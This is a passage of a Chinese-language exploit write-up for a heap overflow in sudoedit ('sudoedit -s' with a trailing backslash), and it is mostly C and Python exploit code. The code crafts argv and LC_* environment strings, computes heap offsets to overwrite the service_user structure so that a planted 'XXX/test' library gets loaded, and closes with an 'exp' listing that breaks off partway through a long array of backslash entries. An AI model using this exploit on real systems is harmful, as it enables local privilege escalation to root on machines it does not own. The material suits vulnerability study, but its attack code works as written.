<pre><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-meta">#include&lt;stdio.h&gt;</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-meta">#include&lt;string.h&gt;</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-meta">#include&lt;stdlib.h&gt;</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-meta">#include&lt;math.h&gt;</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-meta">#define __LC_CTYPE &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-meta">#define __LC_NUMERIC &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 1</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-meta">#define __LC_TIME &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;2</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-meta">#define __LC_COLLATE &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 3</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-meta">#define __LC_MONETARY &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;4</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-meta">#define __LC_MESSAGES &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;5</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-meta">#define __LC_ALL &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 6</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-meta">#define __LC_PAPER &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 7</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-meta">#define __LC_NAME &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;8</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-meta">#define __LC_ADDRESS &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 9</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-meta">#define __LC_TELEPHONE &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;10</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-meta">#define __LC_MEASUREMENT &nbsp; &nbsp; &nbsp; &nbsp;11</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-meta">#define __LC_IDENTIFICATION &nbsp; &nbsp; 12</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable-3">char</span> <span class="cm-variable-3">*</span> <span class="cm-variable">envName</span>[<span class="cm-number">13</span>]<span class="cm-operator">=</span>{<span class="cm-string">&quot;LC_CTYPE&quot;</span>,<span class="cm-string">&quot;LC_NUMERIC&quot;</span>,<span class="cm-string">&quot;LC_TIME&quot;</span>,<span class="cm-string">&quot;LC_COLLATE&quot;</span>,<span class="cm-string">&quot;LC_MONETARY&quot;</span>,<span class="cm-string">&quot;LC_MESSAGES&quot;</span>,<span class="cm-string">&quot;LC_ALL&quot;</span>,<span class="cm-string">&quot;LC_PAPER&quot;</span>,<span class="cm-string">&quot;LC_NAME&quot;</span>,<span class="cm-string">&quot;LC_ADDRESS&quot;</span>,<span class="cm-string">&quot;LC_TELEPHONE&quot;</span>,<span class="cm-string">&quot;LC_MEASUREMENT&quot;</span>,<span class="cm-string">&quot;LC_IDENTIFICATION&quot;</span>};</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable-3">int</span> <span class="cm-def">main</span>()</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">{</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-variable-3">char</span> <span class="cm-variable-3">*</span><span class="cm-variable">argv</span>[] <span class="cm-operator">=</span> {<span class="cm-string">&quot;sudoedit&quot;</span>,<span class="cm-string">&quot;-s&quot;</span>,<span class="cm-string">&quot;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\\&quot;</span>,<span class="cm-variable">NULL</span>};<span class="cm-comment">// malloc(size) size = arg1_len + 1</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-variable-3">char</span> <span class="cm-variable-3">*</span><span class="cm-variable">env</span>[] <span class="cm-operator">=</span> {<span class="cm-string">&quot;XXX/test&quot;</span>,<span class="cm-string">&quot;LC_IDENTIFICATION=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&quot;</span>,<span class="cm-string">&quot;LC_MEASUREMENT=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&quot;</span>,<span class="cm-string">&quot;LC_TELEPHONE=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&quot;</span>,<span class="cm-string">&quot;LC_ADDRESS=C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&quot;</span>,<span class="cm-string">&quot;LC_NAME=xxxxxxxx&quot;</span>,<span class="cm-variable">NULL</span>};</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-variable">execve</span>(<span class="cm-string">&quot;/usr/local/bin/sudoedit&quot;</span>,<span class="cm-variable">argv</span>,<span class="cm-variable">env</span>);</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">}</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span></pre>
<h3>3 溢出利用</h3>
<p><img alt="Untitled" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405081447660.png"/></p>
<p>当前exp把XXX/test写到了0x555555623b07</p>
<p><img alt="Untitled" src="https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202405081447662.png"/></p>
<p>此时的service_user在0x5555556241b0，name的偏移是0x30</p>
<pre><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable">start</span> <span class="cm-operator">=</span> <span class="cm-number">0x555555623b07</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable">end</span> <span class="cm-operator">=</span> <span class="cm-number">0x5555556241b0</span><span class="cm-operator">+</span><span class="cm-number">0x30</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable">n</span> <span class="cm-operator">=</span> <span class="cm-variable">end</span><span class="cm-operator">-</span><span class="cm-variable">start</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-builtin">print</span>(<span class="cm-variable">n</span>)</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-keyword">for</span> <span class="cm-variable">i</span> <span class="cm-keyword">in</span> <span class="cm-builtin">range</span>(<span class="cm-variable">n</span>):</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-builtin">print</span>(<span class="cm-string">&#39;&quot;\\\\&quot;&#39;</span>,<span class="cm-variable">end</span><span class="cm-operator">=</span><span class="cm-string">&#39;,&#39;</span>) &nbsp; </span></pre>
<p>前面知道以反斜杠作为单独的参数，能够写入\x00，由于这里需要把library字段覆盖为0，所以通过上述代码生成相应数量的反斜杠，并填在XXX/test前，将XXX/test填入name的同时将library填为0。</p>
<p>共1753个反斜杠</p>
<p>exp</p>
<pre><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-meta">#include&lt;stdio.h&gt;</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-meta">#include&lt;string.h&gt;</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-meta">#include&lt;stdlib.h&gt;</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-meta">#include&lt;math.h&gt;</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-meta">#define __LC_CTYPE &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 0</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-meta">#define __LC_NUMERIC &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 1</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-meta">#define __LC_TIME &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;2</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-meta">#define __LC_COLLATE &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 3</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-meta">#define __LC_MONETARY &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;4</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-meta">#define __LC_MESSAGES &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;5</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-meta">#define __LC_ALL &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 6</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-meta">#define __LC_PAPER &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 7</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-meta">#define __LC_NAME &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;8</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-meta">#define __LC_ADDRESS &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 9</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-meta">#define __LC_TELEPHONE &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;10</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-meta">#define __LC_MEASUREMENT &nbsp; &nbsp; &nbsp; &nbsp;11</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-meta">#define __LC_IDENTIFICATION &nbsp; &nbsp; 12</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable-3">char</span> <span class="cm-variable-3">*</span> <span class="cm-variable">envName</span>[<span class="cm-number">13</span>]<span class="cm-operator">=</span>{<span class="cm-string">&quot;LC_CTYPE&quot;</span>,<span class="cm-string">&quot;LC_NUMERIC&quot;</span>,<span class="cm-string">&quot;LC_TIME&quot;</span>,<span class="cm-string">&quot;LC_COLLATE&quot;</span>,<span class="cm-string">&quot;LC_MONETARY&quot;</span>,<span class="cm-string">&quot;LC_MESSAGES&quot;</span>,<span class="cm-string">&quot;LC_ALL&quot;</span>,<span class="cm-string">&quot;LC_PAPER&quot;</span>,<span class="cm-string">&quot;LC_NAME&quot;</span>,<span class="cm-string">&quot;LC_ADDRESS&quot;</span>,<span class="cm-string">&quot;LC_TELEPHONE&quot;</span>,<span class="cm-string">&quot;LC_MEASUREMENT&quot;</span>,<span class="cm-string">&quot;LC_IDENTIFICATION&quot;</span>};</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span style="padding: 0px;margin: 0px"></span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"><span class="cm-variable-3">int</span> <span class="cm-def">main</span>()</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px">{</span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-variable-3">char</span> <span class="cm-variable-3">*</span><span class="cm-variable">argv</span>[] <span class="cm-operator">=</span> {<span class="cm-string">&quot;sudoedit&quot;</span>,<span class="cm-string">&quot;-s&quot;</span>,<span class="cm-string">&quot;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\\&quot;</span>,<span class="cm-variable">NULL</span>};<span class="cm-comment">// malloc(size) size = arg1_len + 1</span></span><br/><span style="padding: 0px 0.1px 0px 0px;margin: 0px"> &nbsp; &nbsp;<span class="cm-variable-3">char</span> <span class="cm-variable-3">*</span><span class="cm-variable">env</span>[] <span class="cm-operator">=</span> {<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span class="cm-string">&quot;\\&quot;</span>,<span 